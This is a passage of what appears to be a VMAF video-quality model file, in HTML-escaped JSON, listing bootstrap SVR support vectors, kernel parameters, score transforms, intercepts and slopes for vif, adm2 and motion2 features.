5:0.40732401 6:0.46359154 \n-4 1:0.66561759 2:0.083369236 3:0.37833052 4:0.59301482 5:0.71772587 6:0.7905538 \n-4 1:0.76580991 2:0.93973481 3:0.32205372 4:0.7176044 5:0.80237787 6:0.84588741 \n-4 1:0.45809369 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n4 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n4 1:0.73288362 2:0.48885268 3:0.38858001 4:0.69395818 5:0.80318832 6:0.85946067 \n4 1:0.73710984 2:0.23066177 3:0.49544357 4:0.66648649 5:0.76052819 6:0.81482311 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n-4 1:0.72319868 2:0.16787772 3:0.57600091 4:0.75310216 5:0.81471966 6:0.84249923 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n4 1:0.72746732 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n4 1:0.95273022 2:0.014623935 3:0.90135809 4:0.99584619 5:0.9970631 6:0.99757649 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n-4 1:0.75331875 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.72960023 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n-4 1:0.70997536 2:0.083369236 3:0.42718441 4:0.69347659 5:0.81124449 6:0.87136343 \n-4 1:0.77257175 2:0.08765484 3:0.5597726 4:0.80653689 5:0.88996341 6:0.92691132 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n-4 1:0.76580991 2:0.93973481 3:0.32205372 4:0.7176044 5:0.80237787 6:0.84588741 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n4 1:0.94938914 2:0.055921852 3:0.61526026 4:0.94655706 5:0.97211195 6:0.98210701 \n-4 1:0.76580991 2:0.93973481 3:0.32205372 4:0.7176044 5:0.80237787 6:0.84588741 \n4 1:0.8789356 2:0.54342577 3:0.32439292 4:0.78747769 5:0.87303614 6:0.91271252 \n-4 1:0.48213397 2:0.16787772 3:0.49792761 4:0.59161372 5:0.62979552 6:0.64254584 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n4 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n-0.9599025919311199 1:0.76399364 2:0.04579546 3:0.52334234 4:0.88859427 5:0.94013924 6:0.95946903 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n4 1:0.80205907 2:0.22767235 3:0.26078021 4:0.76359704 5:0.8470807 6:0.8858359 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n1.143578590976773 1:0.18980624 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n-4 1:0.52033349 2:0.48885268 3:0.27824915 4:0.42915458 5:0.50850476 6:0.58585271 \n4 1:0.90420201 2:0.15600331 3:0.19693206 4:0.86294641 5:0.92990351 6:0.95498998 \n4 1:0.6092064 2:0.58937038 3:0.34931828 4:0.4519606 5:0.54893247 6:0.61355219 \n-4 1:0.32027025 2:0.49739676 3:0.17094319 4:0.12195679 5:0.13277563 6:0.14165413 \n4 1:0.91341872 3:0.45198963 4:0.97703695 5:0.9907273 6:0.99510256 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n-4 1:0.77121222 2:0.25207203 3:0.33053889 4:0.73085549 5:0.80341439 6:0.84546456 \n2.50876015662567 1:0.85573143 2:1 3:0.37381485 4:0.7891612 5:0.87031145 6:0.90944281 \n-4 1:0.65966561 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n-4 1:0.86064316 2:0.08765484 3:0.62680052 4:0.88208508 5:0.93041565 6:0.9505376 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;2&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 210\nrho -1.1262\nSV\n-3.652247087177586 1:0.85573143 2:1 3:0.37381485 4:0.7891612 5:0.87031145 6:0.90944281 \n4 1:0.73710984 2:0.23066177 3:0.49544357 4:0.66648649 5:0.76052819 6:0.81482311 \n-4 1:0.69518774 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n1.906725233466803 1:0.62552631 2:0.49739676 3:0.30895604 4:0.40532955 5:0.48355121 6:0.54476585 \n4 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n4 1:0.34770698 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n-4 1:0.5762709 2:0.93973481 3:0.23537634 4:0.48984694 5:0.55363885 6:0.5853905 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:0.32002648 2:0.54342577 3:0.072456434 4:0.24261286 5:0.29785605 6:0.33368644 \n-4 1:0.77121222 2:0.25207203 3:0.33053889 4:0.73085549 5:0.80341439 6:0.84546456 \n4 1:0.67850561 2:0.20629643 3:0.19487894 4:0.63045155 5:0.76931142 6:0.83706632 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n-4 1:0.79342163 2:0.16787772 3:0.60849279 4:0.80724494 5:0.86183239 6:0.88618408 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n4 1:0.76399364 2:0.04579546 3:0.52334234 4:0.88859427 5:0.94013924 6:0.95946903 \n-4 1:0.60311017 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n4 1:0.74778935 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n3.675912192223628 1:0.43289262 2:0.49739676 3:0.19942282 4:0.18051614 5:0.20657779 6:0.22630829 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n4 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n4 1:0.92683589 2:0.48885268 3:0.55208861 4:0.89938377 5:0.94642982 6:0.96615102 \n4 1:0.67721467 2:0.49739676 3:0.37192301 4:0.52750491 5:0.62426522 6:0.6929947 \n0.4173625743095672 1:0.78399277 2:0.34681232 3:0.1457048 4:0.75791308 5:0.84155109 6:0.88132116 \n4 1:0.35760888 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n-4 1:0.78583004 2:0.48885268 3:0.4012577 4:0.70792536 5:0.80063653 6:0.85083872 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n4 1:0.90420201 2:0.15600331 3:0.19693206 4:0.86294641 5:0.92990351 6:0.95498998 \n-4 1:0.83887552 2:0.08765484 3:0.58154998 4:0.82429855 5:0.8858516 6:0.91563291 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n-4 1:0.65317124 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2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n4 1:0.94938914 2:0.055921852 3:0.61526026 4:0.94655706 5:0.97211195 6:0.98210701 \n4 1:0.6092064 2:0.58937038 3:0.34931828 4:0.4519606 5:0.54893247 6:0.61355219 \n4 1:0.74778935 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n-4 1:0.57776221 2:0.08765484 3:0.42071301 4:0.56376512 5:0.66454599 6:0.741236 \n-4 1:0.91941823 2:0.93973481 3:0.41336953 4:0.88038833 5:0.93688884 6:0.95992879 \n-4 1:0.65624547 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n4 1:0.78020364 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n-4 1:0.73985421 2:0.04579546 3:0.499439 4:0.84012074 5:0.90229375 6:0.92936693 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n4 1:0.92683589 2:0.48885268 3:0.55208861 4:0.89938377 5:0.94642982 6:0.96615102 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n4 1:0.54792627 2:0.055921852 3:0.26207179 4:0.59416461 5:0.75957205 6:0.82870539 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;3&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 212\nrho -1.07876\nSV\n4 1:0.77998422 2:0.49739676 3:0.43832146 4:0.63397606 5:0.7240692 6:0.78367237 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n4 1:0.71284767 2:0.22767235 3:0.2263303 4:0.68859985 5:0.78706365 6:0.83662428 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n-4 1:0.69605554 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n4 1:0.91341872 3:0.45198963 4:0.97703695 5:0.9907273 6:0.99510256 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n1.892176612527065 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n-4 1:0.91951481 2:0.16787772 3:0.7239389 4:0.94244479 5:0.9681932 6:0.97806033 \n4 1:0.94938914 2:0.055921852 3:0.61526026 4:0.94655706 5:0.97211195 6:0.98210701 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n4 1:0.79373193 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n-4 1:0.76491447 2:0.047285912 3:0.49613729 4:0.87838146 5:0.91688438 6:0.93150362 \n-4 1:0.79342163 2:0.16787772 3:0.60849279 4:0.80724494 5:0.86183239 6:0.88618408 \n2.884011641087779 1:0.65970734 2:1 3:0.23706331 4:0.5477205 5:0.66054901 6:0.7269284 \n-4 1:0.66382463 2:0.93973481 3:0.28594627 4:0.63969879 5:0.73360583 6:0.78380069 \n4 1:0.74778935 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n-4 1:0.48213397 2:0.16787772 3:0.49792761 4:0.59161372 5:0.62979552 6:0.64254584 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n4 1:0.98644504 2:0.055921852 3:0.7405327 4:0.96928567 5:0.9853799 6:0.99080378 \n4 1:0.78333908 2:0.20629643 3:0.24707248 4:0.72284103 5:0.83178838 6:0.88053503 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n4 1:0.39257764 2:0.22767235 3:0.12019254 4:0.3951559 5:0.44657802 6:0.46771549 \n-4 1:0.38478895 2:0.083369236 3:0.28184137 4:0.37025203 5:0.46733936 6:0.53517338 \n-4 1:0.91941823 2:0.93973481 3:0.41336953 4:0.88038833 5:0.93688884 6:0.95992879 \n4 1:0.90420201 2:0.15600331 3:0.19693206 4:0.86294641 5:0.92990351 6:0.95498998 \n4 1:0.25896526 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n-4 1:0.72960023 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n4 1:0.76526298 2:0.055921852 3:0.38714172 4:0.81340799 5:0.90059649 6:0.93006702 \n4 1:0.77998422 2:0.49739676 3:0.43832146 4:0.63397606 5:0.7240692 6:0.78367237 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n4 1:0.4197563 2:0.20629643 3:0.10015785 4:0.36799816 5:0.4733947 6:0.55804832 \n4 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n-1.829818330126881 1:0.35760888 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 1:0.69908122 2:1 3:0.2367756 4:0.5367057 5:0.64063877 6:0.70451767 \n-4 1:0.60311017 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n4 1:0.72746732 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n-4 1:0.62474007 2:0.93973481 3:0.26141889 4:0.56602175 5:0.64775366 6:0.69263211 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n4 1:0.94938914 2:0.055921852 3:0.61526026 4:0.94655706 5:0.97211195 6:0.98210701 \n4 1:0.87931568 2:0.22767235 3:0.31750162 4:0.85145925 5:0.9121085 6:0.93772147 \n-4 1:0.65966561 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n4 1:0.73288362 2:0.48885268 3:0.38858001 4:0.69395818 5:0.80318832 6:0.85946067 \n-4 1:0.69605554 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n4 1:0.62349716 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n1.241005528642242 1:0.76399364 2:0.04579546 3:0.52334234 4:0.88859427 5:0.94013924 6:0.95946903 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n4 1:0.54184698 2:0.58937038 3:0.29851601 4:0.34826788 5:0.42168642 6:0.47203603 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n4 1:0.54184698 2:0.58937038 3:0.29851601 4:0.34826788 5:0.42168642 6:0.47203603 \n-4 1:0.51603659 2:1 3:0.14452095 4:0.31406915 5:0.38353445 6:0.42653517 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n-4 1:0.73985421 2:0.04579546 3:0.499439 4:0.84012074 5:0.90229375 6:0.92936693 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n-4 1:0.79740378 2:0.047285912 3:0.49225957 4:0.86357299 5:0.89948127 6:0.91221155 \n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n4 1:0.9418574 2:0.08765484 3:0.72226864 4:0.93291747 5:0.960644 6:0.97304054 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n-4 1:0.5810431 2:0.047285912 3:0.43113594 4:0.74141738 5:0.76929188 6:0.77018949 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n4 1:0.54184698 2:0.58937038 3:0.29851601 4:0.34826788 5:0.42168642 6:0.47203603 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n-4 1:0.73815918 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n4 1:0.30512267 2:0.42532178 3:0.18976794 4:0.30662908 5:0.34637104 6:0.3661022 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n-4 1:0.65624547 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n-4 1:0.91941823 2:0.93973481 3:0.41336953 4:0.88038833 5:0.93688884 6:0.95992879 \n4 1:0.69908122 2:1 3:0.2367756 4:0.5367057 5:0.64063877 6:0.70451767 \n4 1:0.85559183 2:0.20629643 3:0.30562098 4:0.80541317 5:0.89285836 6:0.92907353 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n-4 1:0.66561759 2:0.083369236 3:0.37833052 4:0.59301482 5:0.71772587 6:0.7905538 \n-4 1:0.79740378 2:0.047285912 3:0.49225957 4:0.86357299 5:0.89948127 6:0.91221155 \n-4 1:0.3070772 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n4 1:0.91341872 3:0.45198963 4:0.97703695 5:0.9907273 6:0.99510256 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n-4 1:0.74644956 2:0.34681232 3:0.12095689 4:0.68834617 5:0.77453583 6:0.81892861 \n4 1:0.68660174 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n4 1:0.69908122 2:1 3:0.2367756 4:0.5367057 5:0.64063877 6:0.70451767 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n4 1:0.91202697 2:0.42532178 3:0.50912639 4:0.87959883 5:0.93223488 6:0.95450335 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n-4 1:0.69691564 2:0.48885268 3:0.35289928 4:0.61359907 5:0.7217863 6:0.78790011 \n4 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2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n-4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n4 1:0.57348929 2:0.42532178 3:0.24033766 4:0.43855753 5:0.50243186 6:0.53322825 \n-4 1:0.69816754 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n-4 1:0.59637711 2:1 3:0.19031962 4:0.43030863 5:0.5277316 6:0.59069772 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n-4 1:0.82949905 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n-4 1:0.79342163 2:0.16787772 3:0.60849279 4:0.80724494 5:0.86183239 6:0.88618408 \n4 1:0.4197563 2:0.20629643 3:0.10015785 4:0.36799816 5:0.4733947 6:0.55804832 \n3.725920839073204 1:0.75186201 2:0.20820673 3:0.31004997 4:0.6557112 5:0.75585014 6:0.81164989 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n-4 1:0.75431872 2:0.083369236 3:0.42082971 4:0.66591147 5:0.77995959 6:0.84260661 \n-4 1:0.72816168 2:0.047285912 3:0.47217411 4:0.83138845 5:0.8704229 6:0.88419439 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n-4 1:0.42428709 2:0.93973481 3:0.20295859 4:0.39290035 5:0.43632323 6:0.45871216 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n-4 1:0.52033349 2:0.48885268 3:0.27824915 4:0.42915458 5:0.50850476 6:0.58585271 \n3.747920439254151 1:0.67569895 